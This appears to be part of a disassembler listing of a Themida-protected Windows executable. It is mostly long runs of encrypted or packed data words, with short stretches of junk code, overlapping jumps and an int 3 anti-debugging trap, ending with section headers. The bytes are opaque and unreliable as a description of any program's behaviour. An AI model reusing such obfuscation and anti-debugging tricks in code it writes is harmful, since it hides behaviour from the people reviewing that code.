		dd 0B0D98111h, 0E95B97BCh, 8, 88F3C493h, 0AA5C9513h, 0F1B16060h
		dd 8B0Fh, 0B8610000h, 3101E829h, 0F2806061h, 6E86188h
		dd 0F6000000h, 0CAA718FAh, 0FE39B8C1h, 0F5A5E64h, 589h
		dd 0F2816600h, 8E99CFDh, 8A000000h, 0FC3FD22Eh,	66B086FAh
		dd 2AF4DB81h, 0AE9h, 0F6BC7400h, 10CCC7AFh, 0FC36F974h
		dd 0CE9h, 32781200h, 0E9F353D7h, 0C5B6FB6Dh, 0FF08BB4h
		dd 286h, 60CC8A00h, 3840Fh, 0C7800000h,	11E8619Dh, 6000000h
		dd 8177032Ch, 0C2B85191h, 527A099Fh, 30C52A25h,	525FD08Bh
		dd 0CE9h, 2D9B9D00h, 167FBD0Ch,	6725A117h, 6E95829h, 36000000h
		dd 0FFE7A49Ch, 0F7816621h, 9E9D12Ch, 65000000h,	75CA2325h
		dd 0BAC55451h, 8166C28Bh, 80D82CC0h, 0AEB553C2h, 83B863B7h
		dd 80425A28h, 99B1CDF3h, 45B8F081h, 0DF8136D8h,	6557862Fh
		dd 6610E480h, 0E959FAB8h, 11h, 0F374129Bh, 4D6F84B8h, 0C4CC5B25h
		dd 59B2641Ah, 0EE816616h, 8166D755h, 0B17161D3h, 12E8BEh
		dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh
		dd 0C1816660h, 8B66B320h, 0E85F61D0h, 0Ah, 807B6D69h, 65EA7746h
		dd 8E8271Bh, 11000000h,	487115B1h, 608C09B9h, 0F5E5961h
		dd 689h, 8C0F00h, 0F000000h, 8Ch, 16B86600h, 3800F4Bh
		dd 80000000h, 5E847C3h,	0EB000000h, 0E761B0F1h,	0D9816658h
		dd 0FF93BEDh, 581h, 0F2816600h,	8166B71Bh, 66C698F2h, 66D377BAh
		dd 0ED26DA81h, 669DC380h, 0BE8D88Bh, 0B6000000h, 4340EF6Ah
		dd 0EA1BE80h, 0B360CB2Ch, 5B61FC5Ch, 568BC580h,	8A0F60h
		dd 0E9000000h, 0Ch, 0F602674h, 97A6670Ch, 8B86977Eh, 0C1805961h
		dd 10E968h, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah
		dd 0BB660A4Eh, 8166BA1Ah
		dd 0F02EFF6h, 38Dh, 0B0CD8000h,	13E9E681h, 0FF861F2h, 0E957C6B7h
		dd 7, 0AE80D3D7h, 59487ADFh, 0DE9h, 0DABD0900h,	0E53F11C9h
		dd 7403BB0Fh, 5E98122h,	0A8000000h, 2BB4D215h, 0FD2BF0Fh
		dd 80FCCAB7h, 0BF664FCEh, 8B662A1Ah, 66F88BFBh,	0E94E6EBAh
		dd 9, 0BEADDB75h, 0E1F73CC4h, 8C381EEh,	0E93D92FBh, 5
		dd 0B28E71C3h, 54F381CBh, 0E96B7939h, 9, 51BA61ADh, 3F50EC13h
		dd 5830F6Ah, 50000000h,	59CAB70Fh, 0FD78B66h, 8Dh, 0C68B6600h
		dd 12E8h, 57C87600h, 3B0B0BBBh,	219C496Eh, 5FB4A632h, 0E9A65852h
		dd 7, 0DAB75ECBh, 5FD04B5Bh, 0E2816060h, 707F9561h, 6061F961h
		dd 5C44BB66h, 0FF98B61h, 0BE66CEBFh, 0D680470Ah, 0CB8A5133h
		dd 4584B859h, 0EE963C7h, 7D000000h, 4D7E0D01h, 0C208153Eh
		dd 80BA764Fh, 89EA814Fh, 80596273h, 5156F8CFh, 880F5F5Ah
		dd 2, 78B755B0h, 0FADDBE66h, 0F61FC60h,	384h, 0C9BF0F00h
		dd 0C8B70F50h, 7E859h, 9AE0000h, 0CC2AD2FBh, 0BE9E5h, 42F30000h
		dd 0CA7D280Ah, 0C3D9078Fh, 0C1815A98h, 60A4ECA8h, 6617B3F5h
		dd 0C681C78Bh, 68E9BB4Ah, 0CE8h, 0C6BBE400h, 3891B6FFh
		dd 82437AD0h, 0C0B70FA1h, 0F1DB815Bh, 0B30AA329h, 28E0FB7h
		dd 8A000000h, 0C2BB66E2h, 53B9B54Eh, 68F0Fh, 0EF810000h
		dd 77E54E4Fh, 9E9535Ah,	0B9000000h, 47A9E4ADh, 36D9F028h
		dd 28F0F5Fh, 0B2000000h, 0B8E0F0Dh, 0F000000h, 588h, 0C0816600h
		dd 0E9608B48h, 12h, 26C37F10h, 2308FC35h, 0BC5CC73Fh, 0B7EA599Eh
		dd 6661B3C6h, 8B66CA8Bh, 0FE9D1h, 5F270000h, 1B10192Fh
		dd 5111C320h, 0AE201038h, 4880F3Fh, 66000000h, 0B66B02B8h
		dd 0BB3CB20Eh, 40ADA258h, 8E9FCh, 7B480000h, 0BACA461Dh
		dd 8B6689ECh, 5EBA66CBh, 0BCC98148h, 0F0D2DF0h,	0FB8BFEBFh
		dd 0FF98B66h, 0C78BF0BFh, 6820Fh, 0D8810000h, 4417CDC2h
		dd 6880Fh, 0E7810000h, 47D17263h, 7E9h,	8766D00h, 0EC96A46Dh
		dd 2162B866h, 0E8F08160h, 56643415h, 8B60615Bh,	2DBB61F2h
		dd 815AF565h, 0FAB069DAh, 0CE952h, 24EC0000h, 4AAA9B84h
		dd 5D2F2338h, 8166824Bh, 80A691C1h, 0BE976C3h, 15000000h
		dd 0C9806460h, 0E25B53FFh, 0FE93A64h, 0C6000000h, 0A8FCD598h
		dd 579A50A1h, 351B635Dh, 0AE96D5Fh, 85000000h, 474D31F8h
		dd 852790CCh, 50F98BC2h, 66C68B5Eh, 0F855A9BFh,	0CBC28160h
		dd 664E4F4Ah, 0E961FB8Bh, 0Bh, 73C7BC73h, 0BD45F3EFh, 66DAD4BEh
		dd 0FC81D4BEh, 8335BF52h, 80582CB0h, 41B58BC5h,	0AE9h
		dd 9BC21C00h, 41C9AA38h, 81EA8D4Ah, 0C826ABC3h,	9E876h
		dd 0D9A80000h, 71E5617Eh, 0E94462B8h, 10h, 0FC2CD996h
		dd 624BFD51h, 29467A25h, 25CFC9B0h, 0C7EF815Fh,	0F4B3BF6h
		dd 0DE8F7B7h, 2E000000h, 44882EA0h, 0CDEB5C24h,	7A06A29Ah
		dd 11E8h, 5BF28600h, 1635E023h,	0FE83FE8Dh, 377E37B9h
		dd 0F88BE2ADh, 0DA815859h, 181D720Dh, 12E8h, 561B6E00h
		dd 1CEF3682h, 7FF0DEBCh, 7F00B3E3h, 81BD0773h, 18D005E8h
		dd 0F505855h, 0E85FD6BFh, 0Ah, 12AB425Ah, 0BE148DA4h, 8B66FBEDh
		dd 8B0F5AC1h, 0Bh, 820F60h, 0F000000h, 6661C0B7h, 0E088C281h
		dd 0FD78B66h, 10E9FEBFh, 0F6000000h, 39BBDD5Ch,	6E5E499h
		dd 770A5B3Bh, 0FDA45FEh, 1780h,	12E900h, 0EA890000h, 3F8A8A07h
		dd 705A73E4h, 195DC509h, 61B42056h, 9B9958B8h, 0E9D4B03Ah
		dd 0Bh,	0B59C1D89h, 6CE8597Ch, 81658805h, 0A2793D0h, 4CB8661Ah
		dd 1F850FD3h, 0E8000000h, 13h, 3EEAB696h, 5C0E9114h, 6F3BEA35h
		dd 0E4AF1D1Ah, 81FDE9A3h, 6A0B9EE0h, 0E9575A77h, 8, 0A03BF5FDh
		dd 0BF7080F5h, 0BBEEB358h, 649B6929h, 27CF8166h, 0B8D0F10h
		dd 0F000000h, 58Ah, 0DB57BB00h,	0FE93FCBh, 0E7000000h
		dd 0CA438285h, 3FCA0D95h, 0EC762924h, 9E9C2C5h,	0B8000000h
		dd 0FE0CD82Fh, 0EFA4240Ch, 0BE9h, 0DFF07E00h, 0B87E7E4Ch
		dd 760074E9h, 810Fh, 0FF90000h,	840FD0B7h, 3, 0E9C18B66h
		dd 14h,	2DB8B21Dh, 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh
		dd 0DE8h, 5C8CAC00h, 8F045273h,	0EC5B0511h, 0E381E538h
		dd 23516C0Bh, 0FCA0BA59h, 0B70F29D6h, 58B0FF2h,	66000000h
		dd 69F2EE81h, 0B9F18Ah,	53141AFFh, 6E8h, 0EE1B2600h, 8B2E741Fh
		dd 8A5A59D9h, 0FE960C5h, 0F9000000h, 0E7196CFCh, 5346D49Ah
		dd 0B60933B0h, 8B66B02Bh, 60F861C3h, 0AE9h, 0C9EEBD00h
		dd 0A98F8CEDh, 61317988h, 0E181FA8Bh, 0B1EF4B4h, 53C28B66h
		dd 11E8h, 0D0A03000h, 1E42FF32h, 0A3DB8371h, 54D1D316h
		dd 6160C845h, 0CA805A5Ah, 0B70F601Ch, 94D681F2h, 615BB79Bh
		dd 3820Fh, 0E6800000h, 0FD38B0Eh, 0B966FBBFh, 0B70F62EBh
		dd 0DB8166FEh, 0BE6602ABh, 8D0F11E4h, 5, 0B265C7BBh, 0F9B70F49h
		dd 0CEBF0FF8h, 0EE960h,	4360000h, 1988C9A3h, 787F3FCBh
		dd 8FBB1B19h, 0FE9h, 97794600h,	0F71507DBh, 0BB11CDC0h
		dd 4DA6BDFDh, 78E0F61h,	0F000000h, 18Eh, 0CB80FC00h, 60B866ACh
		dd 0B8565141h, 6567210Eh, 7E85E59h, 10000000h, 0E9D1AEDAh
		dd 8B66BB43h, 8B6659C6h, 0BF0FF8F7h, 0F2BF0FCAh, 5E9h
		dd 4BFB9000h, 0EA8A3BB0h, 75DB61BFh, 0BE82Fh, 5F650000h
		dd 2286CCDDh, 0FF28EC2Bh, 68E0FB8h, 81000000h, 0F39F11DAh
		dd 0CF815E59h, 38B5DDEEh, 0DE9h, 30A82500h, 2504E08Ch
		dd 0A1A17BACh, 12E9748Fh, 80000000h, 1F0462F8h,	546C29CAh
		dd 25B537F6h, 0B70EC33h, 90E280AEh, 0EDB9FA8Ah,	0F3F8310h
		dd 0DE9F9B7h, 40000000h, 0C48F71D2h, 40C18CBFh,	0A14BEAE5h
		dd 8BDE8B66h, 0E8DE81FEh, 0F4C10F9h, 1781h, 12E900h, 3B6E0000h
		dd 0AC0F0023h, 0FA9DC425h, 5478947Dh, 0E79C6712h, 9E857h
		dd 991D0000h, 0EC604D40h, 8BECD80Fh, 0F95B59F1h, 6AF081F5h
		dd 0F426F2Bh, 1884h, 51BB6000h,	0E9069649h, 0Ch, 7D74660h
		dd 0BA85651h, 0CA18A786h, 0F78B6661h, 0F86D480h, 587h
		dd 5ABEBF00h, 816625B2h, 810B99F6h, 3AE551F3h, 0E9816603h
		dd 0C9813FCBh, 1DE88199h, 83CE8166h, 0E8FE8BE3h, 11h, 0DDDA6918h
		dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 64B76098h, 5B616160h
		dd 97B86660h, 48F281CCh, 617937D2h, 800FFA8Bh, 0Ah, 0C1B70F60h
		dd 0E1E5FDBAh, 8166614Fh, 0F73BEC3h, 85h, 5E900h, 45F70000h
		dd 0F9B99289h, 8E8h, 124CD300h,	904AF22Fh, 0F30CB955h
		dd 0F5B0DC4h, 285h, 0B26CB600h,	0F38166EFh, 0F519CFDh
		dd 0E95EC2B7h, 0Eh, 55832B97h, 938C11E4h, 0B21D4FCFh, 12E92DB8h
		dd 4C000000h, 0C4DE6844h, 185A0B5Ch, 8B8EC807h,	0D12A894Dh
		dd 0E960606Dh, 7, 3959DFA3h, 6691E91Fh,	146ED881h, 6820F61h
		dd 0F000000h, 84h, 7B46100h, 82BF00B2h,	5642C4B2h, 10BA665Bh
		dd 0D2816624h, 0B70F9347h, 0CE8166C9h, 9CB9038Dh, 0F6A6EEDh
		dd 38Ch, 0C2BF0F00h, 0FE9h, 61272C00h, 4AE8B7ACh, 0A342A2FEh
		dd 96A28AAFh, 10E9h, 0AF010F00h, 4DE17498h
		dd 735F9B77h, 33F81767h, 0CEB0BA31h, 0D18A0744h, 10E8F08Bh
		dd 73000000h, 8F1D3AC3h, 2BFD7110h, 5708F0F1h, 0E88D10FBh
		dd 7, 0EF43FD19h, 0E9838803h, 14h, 61D5470Ch, 0F5540192h
		dd 7D3EE50Ch, 0FEE0B30h, 1BE4672Ah, 80B6585Fh, 840F6060h
		dd 0
; ---------------------------------------------------------------------------
		movzx	esi, si
		popa
		mov	esi, edx
		popa
		sub	eax, 1AB64489h
		jmp	loc_601A5F
; ---------------------------------------------------------------------------
		retn	9DFBh
; ---------------------------------------------------------------------------
		db 97h,	0DFh, 0EDh
		dd 68E5CE52h, 0E451A599h
		db 5Dh,	62h, 0F7h
; ---------------------------------------------------------------------------


loc_601A5F:				; CODE XREF: Themida_:00601A49j
		mov	ebx, 31C8611Dh
		cld
		jl	near ptr loc_601A82+4
		call	near ptr loc_601A7D+4
		or	eax, 0CA8B7D9Bh
		int	3		; - software interrupt to invoke the debugger
		cmpsb
		mov	ebx, 820E1F68h


loc_601A7D:				; CODE XREF: Themida_:00601A6Bp
		mov	esi, 66398DB3h


loc_601A82:				; CODE XREF: Themida_:00601A65j
		mov	esi, 0B75ECDA4h
		sub	ah, [esi-75h]
		fimul	word ptr [edi]
		pop	dword ptr [eax+eax]
; ---------------------------------------------------------------------------
		db 0
		dd 69BB6600h, 1840FDBh,	0FC000000h, 0F3A543BAh,	14E925h
		dd 911B0000h, 0E899F52Bh, 10E96CACh, 39F60E0Bh,	2D1742CEh
		dd 66564F10h, 665ECF8Bh, 6E9F08Bh, 94000000h, 5E66A5DCh
		dd 451EB824h, 0E4BA0D60h, 0B762D55Ah, 5C68BB54h, 0E86008F1h
		dd 5, 0E3781947h, 14E83Ah, 0AE5B0000h, 0C5E79AC0h, 0ABF1D4EBh
		dd 91A1CBDBh, 82738C71h, 5B5A89F1h, 49731CB8h, 0FFC6153h
		dd 382h, 0C78B6600h, 0CF17EA81h, 5E86ECCh, 69000000h, 3522A0D2h
		dd 0CE9h, 570A3B00h, 88099D4Dh,	0FB2C9ED9h, 0FF95BD7h
		dd 983h, 3850F00h, 66000000h, 830FC18Bh, 0
; ---------------------------------------------------------------------------
		jmp	loc_601B58
; ---------------------------------------------------------------------------
		db 0A1h, 9Ah, 8Eh
		dd 0CE921CC5h
; ---------------------------------------------------------------------------


loc_601B58:				; CODE XREF: Themida_:00601B4Cj
		add	ebx, 26B3CDDh
		sub	bx, 0CDF5h
		mov	cx, di
		mov	dl, ah
		adc	ah, 0Ch
		cmc
		mov	ax, cx
		call	near ptr loc_601B82+1
		pop	ebx
		dec	ebx
		sal	bh, 1
		xchg	eax, ebp
		test	al, 0C0h
		push	esp
		cli
		scasb
		xor	[ebx], ebp
		aad	0ADh


loc_601B82:				; CODE XREF: Themida_:00601B6Fp
		mov	[esi-7Fh], ah
		ficom	dword ptr [esi]
		xor	eax, 0F5E5358h
		lea	eax, [eax+eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0A1BF6600h, 6E8CBh, 20BE0000h, 0D4F2494Ch, 5AF88B66h
		dd 0E9816651h, 805E0896h, 66F517CCh, 0BDBEE181h, 0BAC2BF0Fh
		dd 281B0D93h, 0CA8166F8h, 0B70FF014h, 0ABBA66F6h, 9CBF667Bh
		dd 6EE78184h, 0F528277h, 48Ch, 0FBB96600h, 13E918h, 50CF0000h
		dd 3F8CFD18h, 2F08F8F6h, 322B2828h, 5E2DADB8h, 81BB66A1h
		dd 11E929h, 23080000h, 0BC5CC73Fh, 0B7EA599Eh, 2B15B3C6h
		dd 57B93E09h, 3800F59h,	66000000h, 0DF81DA8Bh, 7A35728Ch
		dd 66C9F080h, 0F9424FBEh, 0DE9h, 0F179C800h, 5D445FD6h
		dd 69B1DD02h, 0C78BE051h, 0E9CFB70Fh, 8, 0ABDA273Fh, 0CB4FEDCAh
		dd 0AE9h, 0ECB71000h, 6D1A1F14h, 0A152A2AEh, 67h dup(0B6E014D5h)
		dd 0B5h	dup(0E2CC0BBDh), 595B0BBDh, 192h dup(595B55EBh)
		dd 67EDE2EBh, 20Dh dup(67EDE211h), 2E73E211h, 1ABh dup(2E738495h)
		dd 81738495h, 114h dup(8105983Fh), 0E779983Fh, 79h dup(0E7793E34h)
		dd 8F793E34h, 6Fh dup(8F893D50h), 2D6h dup(751354A7h)
		dd 0CC1354A7h, 8C0h dup(0CCCCCCCCh), 0CCCCCCh, 3031h dup(0)
dword_612D20	dd 0FCBh dup(0)			db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_444314o
		dd 18ECh dup(0)
Themida_	ends

; Section 5. (virtual address 0021D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0021D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 61D000h
		align 2000h
_idata2		ends


		end start